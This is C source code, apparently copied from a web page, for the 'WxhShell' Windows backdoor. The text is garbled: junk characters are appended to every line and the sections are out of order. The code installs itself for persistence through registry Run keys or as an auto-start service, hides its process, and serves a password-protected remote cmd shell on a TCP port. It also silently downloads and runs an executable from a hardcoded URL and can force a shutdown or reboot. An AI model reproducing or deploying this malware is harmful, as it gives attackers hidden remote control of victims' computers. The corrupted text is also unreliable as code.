    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xqb I~jV#  
    if(Boot(SHUTDOWN)) dgX0\lKpf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VdVca1Z  
    else { 1G{$ B^ f  
    closesocket(wsh); j%[|XfM  
    ExitThread(0); QL_bg:hs  
    } i` Lt=)@&  
    break; +~w '?vNc  
    } Q? W]g%:)  
  // 获取shell ={#r/x  
  case 's': { ApU5,R0  
    CmdShell(wsh); owmA]f  
    closesocket(wsh); l~F,i n.  
    ExitThread(0); xjR/K&[m  
    break; L|!9%X0.  
  } ZiVTc/b  
  // 退出 ,^AkfOY7"  
  case 'x': { (Q#A Br8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 89'nbg  
    CloseIt(wsh); M#F;eK2pf  
    break; h7gH4L!'u  
    } ;9B:E"K?@1  
  // 离开 }6^(  
  case 'q': { B0Xn9Tvk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @-!w,$F)%d  
    closesocket(wsh); 2)4{  
    WSACleanup(); q SCt= eQ  
    exit(1); JK[7&C-O  
    break; `(*5yXC  
        } a)y8MGx?  
  } /oe="/y6  
  } 7/Ve=7]  
1eiH%{w  
  // 提示信息 i]9SCO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hr96sN.R   
} }v=q6C#Q>  
  } el+euOV  
7th&C,c&  
  return; hj0uv6t.c  
} a/>={mb Ki  
lFI"U^xC  
// shell模块句柄 {,P&05iSi  
int CmdShell(SOCKET sock) i~ zL,/O8  
{ QsI$4:yl  
STARTUPINFO si; P`V#Wj4\  
ZeroMemory(&si,sizeof(si)); #_|b;cf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,+zLFQC0@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d:<{!}BR3  
PROCESS_INFORMATION ProcessInfo; ~w4aA<2Uq  
char cmdline[]="cmd"; 9at7$Nq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . +.Y`0  
  return 0; N:"E%:wSbi  
} Yx XDRb\kW  
78}iNGf  
// 自身启动模式 7<-D_$SrU  
int StartFromService(void) 3smcCQA%  
{ Z#"6&kv  
typedef struct .`xcR]PQ  
{ JGH9b!}-1  
  DWORD ExitStatus; X$PT-~!a  
  DWORD PebBaseAddress; u8-)LOf(  
  DWORD AffinityMask; Lrr6z05FQ  
  DWORD BasePriority; B6$s*SXNp  
  ULONG UniqueProcessId; ]yCmGt+b  
  ULONG InheritedFromUniqueProcessId; }b6ja y  
}   PROCESS_BASIC_INFORMATION; hvZW~ =75  
GW.s\8w  
PROCNTQSIP NtQueryInformationProcess; ) ,*&rd!  
A+;]# 1y(D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gh42qar`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1c?,= ;>  
:q^g+Bu=  
  HANDLE             hProcess; +w GE  
  PROCESS_BASIC_INFORMATION pbi; TtKBok  
vEn12s(lj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  {l_R0  
  if(NULL == hInst ) return 0; So0YvhZ+  
r{6 ,;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kpK: @  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8oN4!#:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K6!`b( v#  
BC!l)2  
  if (!NtQueryInformationProcess) return 0; f85j?Jm  
1`B5pcuI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z\fD}`^8  
  if(!hProcess) return 0; N#]f?6 *R  
fs~n{z,ja%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J"FKd3~:E  
NoZz3*j=  
  CloseHandle(hProcess); Oh<Z0M)  
v8-F;>H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _qJ[~'m<^C  
if(hProcess==NULL) return 0; 2ORWdR.b  
oBKZ$&_h  
HMODULE hMod; >nvreis  
char procName[255]; $0iz;!w  
unsigned long cbNeeded; !4I?59  
LNk 3=v2M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |K/#2y~  
P|_?{1eO2  
  CloseHandle(hProcess); ;?h#',(p  
U{eC^yjt"o  
if(strstr(procName,"services")) return 1; // 以服务启动 bKG:_mWe w  
~g>15b3  
  return 0; // 注册表启动 |w /txn8G|  
} *~2jP;$  
iT9cw`A^%  
// 主模块 b LSI\  
int StartWxhshell(LPSTR lpCmdLine) r/3 !~??x  
{ +apIp(E+  
  SOCKET wsl; "LXLUa03  
BOOL val=TRUE; My_fm?n  
  int port=0; .yg"!X  
  struct sockaddr_in door; ,MOB+i(3*u  
|FPx8b;#  
  if(wscfg.ws_autoins) Install(); O&d(FJZ  
ukq9Cjs  
port=atoi(lpCmdLine); R!}B^DVt  
wyAqrf  
if(port<=0) port=wscfg.ws_port; EX8]i,s|E  
7fnKe2M M  
  WSADATA data; kDO6:sjR7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fbo64$!hZ  
`acorfpi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :M|bw{P*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6TPcG dZ  
  door.sin_family = AF_INET; ,FS iE\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SuGlNp>#qm  
  door.sin_port = htons(port); A(;J  
bs%]xf ~D;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 69yTGUG3  
closesocket(wsl); '{6`n5:e  
return 1; #Yj0'bgK  
} %z8@;  
=p&6A^  
  if(listen(wsl,2) == INVALID_SOCKET) { alHwN^GhP  
closesocket(wsl); o)S>x0| [  
return 1; $V`O%Sz  
} % ,~; w0  
  Wxhshell(wsl); JR7~|ov  
  WSACleanup(); $. V(_  
as o8  
return 0;  LFGu|](  
,,BNUj/:  
} T']*h8  
NF&\<2kX  
// 以NT服务方式启动 2Ni{wg"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O aF+Z@s  
{ 0SvPyf%AC  
DWORD   status = 0; >2$Ehw:K^  
  DWORD   specificError = 0xfffffff; )m5<gp`  
y<3v/ ,Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G/<{:R"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /:awPYGH<1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #c/v2  
  serviceStatus.dwWin32ExitCode     = 0; {fIH9+v  
  serviceStatus.dwServiceSpecificExitCode = 0; UPN2p&gM  
  serviceStatus.dwCheckPoint       = 0; ;}|.crMF  
  serviceStatus.dwWaitHint       = 0; aoF>{Z4&B  
8Bhot,u'T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s8eiq`6\H}  
  if (hServiceStatusHandle==0) return; r<C^hs&]  
o~es> ;  
status = GetLastError(); H@aCo(#  
  if (status!=NO_ERROR) &\!-d%||)  
{ B*DH^";t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r OB\u|Pg  
    serviceStatus.dwCheckPoint       = 0; nV']^3b  
    serviceStatus.dwWaitHint       = 0; a[9;Okm #  
    serviceStatus.dwWin32ExitCode     = status; Wuc,Cjm9(!  
    serviceStatus.dwServiceSpecificExitCode = specificError; T("Fh}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NG5H?hVN=  
    return; 5bZ`YO  
  } >(%im :_  
K<+AJ(C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * k =L  
  serviceStatus.dwCheckPoint       = 0; $8_*LR$  
  serviceStatus.dwWaitHint       = 0; hc0VS3 k)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mYt(`S*q  
} Txoc  
r% mN]?u  
// 处理NT服务事件,比如:启动、停止 TTy1a:V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z$;%SYI  
{ lD C74g  
switch(fdwControl) @X\nY</E#M  
{ g`J? 2 _]  
case SERVICE_CONTROL_STOP: "OK(<x]3;>  
  serviceStatus.dwWin32ExitCode = 0; JZP2NB_xt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *j <;;z-  
  serviceStatus.dwCheckPoint   = 0; Pfd FB  
  serviceStatus.dwWaitHint     = 0; *q8W;Wa L  
  { +[~\\X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4S"K%2'O  
  } 2sittP  
  return; DO( /,A<{8  
case SERVICE_CONTROL_PAUSE: B8a!"AQ~5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2M1yw "  
  break; R 8Iac[N  
case SERVICE_CONTROL_CONTINUE: Y|B/(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o_\b{<^I  
  break; 6[qRb+ds  
case SERVICE_CONTROL_INTERROGATE: Zjo9c{\  
  break; Jw {:1  
}; @ZX{q~g!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `L9o !OsQ  
} 2ix_,yTO  
Yq5}r?N  
// 标准应用程序主函数 |c >  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &BE[=& |  
{ s|{K?s  
"?avb`YU'  
// 获取操作系统版本 uVisU%p  
OsIsNt=GetOsVer(); %FyB\IQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f#X`e'1  
mX|AptND  
  // 从命令行安装 EQ=Enw1[  
  if(strpbrk(lpCmdLine,"iI")) Install(); \=5CNe  
2d1'!B zDA  
  // 下载执行文件 Gl1`Nx0  
if(wscfg.ws_downexe) { J`"1DlH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dYr#  
  WinExec(wscfg.ws_filenam,SW_HIDE); lfI[r|  
} "_q5\]z\O  
u)Y#&qA  
if(!OsIsNt) { 9`09.`U9[  
// 如果时win9x,隐藏进程并且设置为注册表启动 & 6}vvgz  
HideProc(); 3:=XU9p)x  
StartWxhshell(lpCmdLine); ?58pkg J  
} CQtd%'rt6  
else 9sT?"(=  
  if(StartFromService()) y8<,>  
  // 以服务方式启动 =BGc@:2  
  StartServiceCtrlDispatcher(DispatchTable); z,] fR  
else 4 6e;UUf!d  
  // 普通方式启动 j|? bva\  
  StartWxhshell(lpCmdLine); \sRRLDj%  
]pB~&0jg  
return 0; *><] [|Y@H  
} PK+][.6H  
.3HC*E.e  
PfuYT_p4s  
0tsll1  
=========================================== jpBE| Nm  
4|:{apH  
8-SVgo(  
9)4N2=  
b]Z@zS<8  
uHf~KYL  
" aMz%H|/$  
BB|{VwN  
#include <stdio.h> ".w*_1G7U  
#include <string.h> *`l>1)B>  
#include <windows.h> &Vonu*  
#include <winsock2.h> 3'.OghI  
#include <winsvc.h> hw1ZTD:Y  
#include <urlmon.h> jN*A"m  
<edAWc+  
#pragma comment (lib, "Ws2_32.lib") H%%#^rb^  
#pragma comment (lib, "urlmon.lib") }"cb^3  
2%@j<yS  
#define MAX_USER   100 // 最大客户端连接数 =6+BBD  
#define BUF_SOCK   200 // sock buffer G: @gO2(D  
#define KEY_BUFF   255 // 输入 buffer s V77WF  
XhIgzaGVu  
#define REBOOT     0   // 重启 ^ePSI|EW  
#define SHUTDOWN   1   // 关机 0kiW629o  
Rw. Uz&  
#define DEF_PORT   5000 // 监听端口 L)w& f  
"3hw]`a}  
#define REG_LEN     16   // 注册表键长度 %@r h\Z  
#define SVC_LEN     80   // NT服务名长度 :'rXu6c-  
x]{h$yI  
// 从dll定义API ]gmf%g'C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Rl*5GRW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M_XZOlW5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i_=P!%,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FS@SC`~(  
*y0`P0V|8  
// wxhshell配置信息 gK%&VzG4  
struct WSCFG { S$$:G$j  
  int ws_port;         // 监听端口 Cu|n?Uk  
  char ws_passstr[REG_LEN]; // 口令 :))AZ7_  
  int ws_autoins;       // 安装标记, 1=yes 0=no HV?awc  
  char ws_regname[REG_LEN]; // 注册表键名 1DLQ Zq  
  char ws_svcname[REG_LEN]; // 服务名 H$[--_dI{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WrD20Q$9Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :V_$?S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 goHr# @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IXg${I}_Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" glv(`cQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S`*al<m  
'Lm.`U  
}; $9l3 DJ  
F1,pAtA  
// default Wxhshell configuration p jrA:;  
struct WSCFG wscfg={DEF_PORT, E|5gKp-wJ  
    "xuhuanlingzhe", ]#*@<T*[  
    1, ~ R*6w($  
    "Wxhshell", GUcuD^Fe  
    "Wxhshell", |Y])|`_'G  
            "WxhShell Service", 2cmqtlW"  
    "Wrsky Windows CmdShell Service", [&zP$i&  
    "Please Input Your Password: ", APLu?wy7s5  
  1, +ATN2 o  
  "http://www.wrsky.com/wxhshell.exe", .:lzT"QXI  
  "Wxhshell.exe" D<rjxP  
    }; ]&9f:5',  
|]I?^:I  
// 消息定义模块 Ik}*7D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O=-|b kO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T}\U:@b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &O%Kj8)  
char *msg_ws_ext="\n\rExit."; ;bA9(:?  
char *msg_ws_end="\n\rQuit."; I{RktO;1  
char *msg_ws_boot="\n\rReboot..."; WUHx0I  
char *msg_ws_poff="\n\rShutdown..."; DvhK0L*Qr  
char *msg_ws_down="\n\rSave to "; P!vBS "S  
.<j8>1  
char *msg_ws_err="\n\rErr!"; I5bi^!i  
char *msg_ws_ok="\n\rOK!"; 0CDTj,eK  
t>25IJG  
char ExeFile[MAX_PATH]; $OUa3!U_!  
int nUser = 0; <&x_e-;b'  
HANDLE handles[MAX_USER]; QOP*vH >J  
int OsIsNt; V)0bLR  
HSUr  
SERVICE_STATUS       serviceStatus; qGh rJ6R!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2R5]UR S  
g`Rs;  
// 函数声明 Xpa;F$VI  
int Install(void); ,O-lDzcw  
int Uninstall(void); AOfQqGf  
int DownloadFile(char *sURL, SOCKET wsh); F`ihw[ Wn  
int Boot(int flag); dyx 4_!fO  
void HideProc(void); Q \{\u J x  
int GetOsVer(void); w6cPd'  
int Wxhshell(SOCKET wsl); _WSJg1  
void TalkWithClient(void *cs); X0U6:  
int CmdShell(SOCKET sock); qM9GW`CKA  
int StartFromService(void); f/ =0  
int StartWxhshell(LPSTR lpCmdLine); ec3('}X  
):\ pD]e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nY*ODL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m?m,w$K  
qQom=x  
// 数据结构和表定义 w?5b:W,  
SERVICE_TABLE_ENTRY DispatchTable[] = PD$'xY|1=  
{ |Jq/kmn  
{wscfg.ws_svcname, NTServiceMain}, >kB?C!\  
{NULL, NULL} QUe.vb^O  
}; &R8zuD`#  
oOD|FrlY  
// 自我安装 *%fOE;-?  
int Install(void) m83i6"!H  
{ :WxMv~e{U  
  char svExeFile[MAX_PATH]; KS| $_-7 u  
  HKEY key; Y0b.utR&  
  strcpy(svExeFile,ExeFile); <e=0J8V8,i  
HK-?<$Yc  
// 如果是win9x系统,修改注册表设为自启动 |4'E&(BU-  
if(!OsIsNt) { .:;i*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ktS0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LD6fi  
  RegCloseKey(key); U .rH,`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bX9}G#+U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KcrF=cA  
  RegCloseKey(key); o/[NUQSI  
  return 0; g =%W"v  
    } ' Wi*[  
  } xp39TiXJ*  
} 0qTa @y  
else { 3oIoQj+D  
B02~/9*Y"  
// 如果是NT以上系统,安装为系统服务 )V>FU=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :N[2*.c[  
if (schSCManager!=0) .O,gl$y}  
{ hrW.TwK  
  SC_HANDLE schService = CreateService 0}b8S48|?  
  ( V}J W@  
  schSCManager, T|}HK]QOX  
  wscfg.ws_svcname, \l[5U3{  
  wscfg.ws_svcdisp, yy>4`_  
  SERVICE_ALL_ACCESS, Uvuvr_IP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1X{A}9nA  
  SERVICE_AUTO_START, "RG.vo7b  
  SERVICE_ERROR_NORMAL, &{ f5F7E@  
  svExeFile, LCdc7  
  NULL, *(HH71Y  
  NULL, c]n4vhUa5  
  NULL, 8+!$k!=X  
  NULL, ,~3sba  
  NULL u ) ld  
  ); VJNPs6  
  if (schService!=0) ^6`R:SV4Gx  
  { ;m&f Vp  
  CloseServiceHandle(schService); Jsw<,uT D  
  CloseServiceHandle(schSCManager); l p? h~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I,#U _  
  strcat(svExeFile,wscfg.ws_svcname); \"lzmxe0p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J LeV@NO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G%6wk=IH  
  RegCloseKey(key); +FJ o!~1  
  return 0; a;lCr|*  
    } > W0hrt?b  
  } ;j(xrPNb  
  CloseServiceHandle(schSCManager); cis ~]x%  
} $Qm;F% >  
}  10DS  
%d=-<EQ|&  
return 1; )8vcg{b{d  
} s_kI\w4(x1  
M'g4alS  
// 自我卸载  (0k0gq;  
int Uninstall(void) bc 0|tJc  
{ P@Qo2zTh%  
  HKEY key; F-ZD6l9O  
.f6_[cS;g  
if(!OsIsNt) { SGbo|Xe7:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Fr}8Dy  
  RegDeleteValue(key,wscfg.ws_regname); PffwNj/l  
  RegCloseKey(key); Gis'IX(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4RzG3CJdS  
  RegDeleteValue(key,wscfg.ws_regname); sC}/?^q  
  RegCloseKey(key); -OziUM1qs  
  return 0; ).&$pXj  
  } )pzXC  
} &556;l  
} ilNm\fQ.  
else { rKjQEO$yi  
;DGWUK.U[H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Q?4sAB  
if (schSCManager!=0) -7yX>Hjl  
{ :<jf}[w!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J6Kf z~%  
  if (schService!=0) D@3|nS  
  { A#p@`|H#B  
  if(DeleteService(schService)!=0) { 1%+0OmV&  
  CloseServiceHandle(schService); Llzowlfe  
  CloseServiceHandle(schSCManager); co12\,aD  
  return 0; 69L s"e  
  } QKF2_Acc   
  CloseServiceHandle(schService); CBvBBt*  
  } fW\u*dMMZE  
  CloseServiceHandle(schSCManager); 'DIE#l`  
} 85X^T]zo  
} 5 )C~L]  
PzF)Vg  
return 1; [Z[)hUXE?  
} >,9t<p=Q  
>U}~Hv]  
// 从指定url下载文件 `C=p7 %  
int DownloadFile(char *sURL, SOCKET wsh) )XNcy"   
{ qH(2 0Z!  
  HRESULT hr; HnpGPGz@F  
char seps[]= "/"; !O.B,  
char *token; Q/+a{m0 f  
char *file; w"Z >F]YZ  
char myURL[MAX_PATH]; BujWql  
char myFILE[MAX_PATH]; lmd0Q(I  
G/D{K$=t~  
strcpy(myURL,sURL); \myc n/e  
  token=strtok(myURL,seps); ]-q:Z4rb  
  while(token!=NULL) Isi ,Tl ^  
  { Z-~^)lo  
    file=token; kP|!!N  
  token=strtok(NULL,seps); aRV!0?fS  
  } |g9^]bT  
]:f1r8<3p  
GetCurrentDirectory(MAX_PATH,myFILE); Z@*Z@]FC  
strcat(myFILE, "\\"); R52!pB0[  
strcat(myFILE, file); Eod2vr =Q  
  send(wsh,myFILE,strlen(myFILE),0); oL~Yrb%R  
send(wsh,"...",3,0); 6s uc0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jG/kT5S  
  if(hr==S_OK) InDR\=o  
return 0; N7e^XUG   
else tF'67,~W  
return 1; vXf#gX!Y  
.5T7O_%FP  
} v|e\o~2D`  
_l  Jj6=  
// 系统电源模块 WRnUF[y+)  
int Boot(int flag) K}zw%!ex  
{ >y=%o~  
  HANDLE hToken; w8on3f;6n#  
  TOKEN_PRIVILEGES tkp; 71 2i |  
O-|3k$'\z  
  if(OsIsNt) { ~q9RZ#g13J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m760K*:i\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T&h|sa(   
    tkp.PrivilegeCount = 1; 'R$~U?i8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0q3 :"X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <9Chkb|B  
if(flag==REBOOT) { <ImeZ'L7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qzG'Gz{{qu  
  return 0; :')<|(Zy  
} D?E5p.!A  
else { %1lLUgf3G/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S }|ea2  
  return 0; a( qw  
} G%P]qi  
  }  'dg OE  
  else { 6-^+btl)#  
if(flag==REBOOT) {  "3v%|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d,>l;l  
  return 0; /q^( uWu  
} E6US  
else { 9DT}sCLz:B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d EXw=u  
  return 0; zL{KK9Or  
} z C``G<TB  
} ?LW1D+  
1k7E[G~G|  
return 1; F8k1fmM]Y  
} "47nc1T+n  
8=?I/9Xh  
// win9x进程隐藏模块 -8TLnl~[  
void HideProc(void) Y8N&[L[z&  
{ Z<wg`  
n b{8zo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M5q7` }>G  
  if ( hKernel != NULL ) #(A>yW702  
  { qv<VKJTi6]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ik]UzB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5n"'M&Ce  
    FreeLibrary(hKernel); -V+fQGZe  
  } ;<*VwXJR  
aH~il!K  
return; -}>Q0d)  
} Z2ZS5a  
c2i^dNp_  
// 获取操作系统版本 QTDI^ZeuF  
int GetOsVer(void) l>:?U  
{ "kL5HD]TC  
  OSVERSIONINFO winfo; +Gjy%JFp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &2g1Oy~  
  GetVersionEx(&winfo); D]0#A|n F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7_|zMk.J*  
  return 1; \;sUJr"$  
  else ]_ _M*  
  return 0; rzex"}/ly  
} #A|M NJ%m  
Axcm~ !uf  
// 客户端句柄模块 i\3`?d  
int Wxhshell(SOCKET wsl) PeG8_X}u9  
{ >97V2W  
  SOCKET wsh; Kg%_e9nj#  
  struct sockaddr_in client; tV T(!&(  
  DWORD myID; _ '}UNIL  
~+1t 17  
  while(nUser<MAX_USER) J4JKAv~3  
{ Y`_6Ny="  
  int nSize=sizeof(client); p3-sEIw}Ru  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EBn7waBS  
  if(wsh==INVALID_SOCKET) return 1; -yC},tK  
_qGkTiP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6g!t1%Kb  
if(handles[nUser]==0) #]Cr zLe  
  closesocket(wsh); ;Z8K3p  
else o|UZdGu  
  nUser++; Bkcs4 x  
  } -dza_{&+iZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b,!h[  
T+gqu &9R  
  return 0; *%MY. #  
} {? 6]_J  
K}* s^*X  
// 关闭 socket FkRrW^?5G  
void CloseIt(SOCKET wsh) Z*oGVr g  
{ [WB8X,  
closesocket(wsh); \Q & Kd|  
nUser--; 2AdV=n6Z  
ExitThread(0); ,H|V\\  
} Iz  ,C!c  
\oaO7w,:"  
// 客户端请求句柄 p{88v3b6  
void TalkWithClient(void *cs) }3QEclZr  
{ yYW>)  
jPFA\$To  
  SOCKET wsh=(SOCKET)cs; U/TF,JUI  
  char pwd[SVC_LEN]; yJ?4B?p(  
  char cmd[KEY_BUFF]; d#A.A<p*  
char chr[1]; m. XLpD  
int i,j; Xp%JPI {  
eE7+fMP{  
  while (nUser < MAX_USER) { j]jwQRe  
5Zh /D0!|  
if(wscfg.ws_passstr) { )K%AbKn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )WD<Q x&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &OsJnkY<<  
  //ZeroMemory(pwd,KEY_BUFF); JH2d+8O:qK  
      i=0; Of-l<Ks\  
  while(i<SVC_LEN) { L-q.Q  
-[G+*3Y{7  
  // 设置超时 eM{+R^8  
  fd_set FdRead; w%`7,d u|  
  struct timeval TimeOut; ?a(ApD\  
  FD_ZERO(&FdRead); 4D0"Y #&G  
  FD_SET(wsh,&FdRead); 9CxU: ;3  
  TimeOut.tv_sec=8; @ UX'(W  
  TimeOut.tv_usec=0; ;Q\Duj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $2\ OBc=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `rQA9;Tn2  
VBy=X\w]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V:yia^1  
  pwd=chr[0]; \]GBd~i<  
  if(chr[0]==0xd || chr[0]==0xa) { j]YS(Y@AY  
  pwd=0; >+&524xc  
  break; lNqYpyvy*  
  } xMU4Av[{  
  i++; =r#of|`Q  
    } \y{C>! WX4  
s_u@8e 6_  
  // 如果是非法用户,关闭 socket va| 1N/&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LG@5Z-  
} r 5:DIA!  
/wKL"M-%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lor jMS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U+URj <)  
fgq#Oi}  
while(1) { L`tr7EEr  
[>v.#:YM^  
  ZeroMemory(cmd,KEY_BUFF); %r?Y!=0  
7]62=p2R  
      // 自动支持客户端 telnet标准   ]w"r4HlCx  
  j=0; 0)+F}SyyD  
  while(j<KEY_BUFF) { gm(`SC?a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P @G2F:}  
  cmd[j]=chr[0]; $O?&!8);,  
  if(chr[0]==0xa || chr[0]==0xd) { E&/#Ov  
  cmd[j]=0; T5Yu+>3  
  break; KHI-m9(  
  } zXIVHC,"{  
  j++; VPet1hAy  
    } bU7n1pzW,o  
0p)#!$  
  // 下载文件 $@s&qi_&R  
  if(strstr(cmd,"http://")) { I ze+](  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]-&A )M6  
  if(DownloadFile(cmd,wsh)) &iORB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wL\OAM6R  
  else "@#^/m)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rq|7$O5  
  } >^=up f/  
  else { OWx-I\:  
j]Kpwf<NS  
